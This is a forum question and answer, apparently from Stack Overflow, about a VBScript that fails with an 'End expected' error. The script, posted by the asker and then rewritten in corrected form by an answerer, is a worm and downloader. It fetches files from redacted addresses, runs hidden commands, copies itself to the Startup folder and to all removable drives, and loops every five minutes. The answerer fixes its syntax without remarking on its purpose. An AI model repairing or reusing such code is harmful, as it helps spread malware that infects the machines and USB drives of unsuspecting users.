i'm learning vbs. and i've found this code in internet. Tried to run it but it won't start. replaced some personal data with adresssss fileeee and commandddd
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()
Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End
If
Next
Else
End
If
WScript.Sleep 300000
Start()
End Function
and this code won't run?! it gives error "End expected"

It seems you don't understand what you are doing. Try to get some basic understanding of VBScript. Do not use On error resume next
because that will hide errors from you. Try to understand conditional statements, reuse objects like the Wscript.Shell, AdoDB stream and XHTTP object, set objects to Nothing
the correct way, assign variables correctly, use function calls properly. Use Option Explicit
.
This is how your script should look like (without testing it, just syntactical):
Option Explicit
Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite
xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0
Call Start()
Function Start()
Dim dc, fs, d, s
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "NX21.vbs", Path & "\", True
Set dc = fs.Drives
For Each d in dc
If d.DriveType = 1 Then
s = d.DriveLetter
fs.CopyFile "NX21.vbs", s & ":\", True
Else
' The drivetype was not of a removable type
End If
Next
WScript.Sleep 300000
Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function
Note on the last comment:
You are calling the Start()
function from inside the Start()
function, creating a non exitable recursive loop. After a few hundreds of thousands iterations you will get a Stack overflow error
. Luckily you wait 300 seconds for each iteration so it will take several years to get to that.
Better to put the first call of the Start function (outside the function itself) in a do / loop
construct:
Do
Call Start()
WScript.Sleep 300000
Loop

Control statements have to be properly nested. So even if you add the missing conditional,
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End
If whatever Then
Next
is illegal. If you'd use proper indentation, atrocities like the above would be obvious.
On second reading: Perhaps you meant:
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End If ' <-- on one line please!
Next
In general: The "End X" phrases must be on one line.
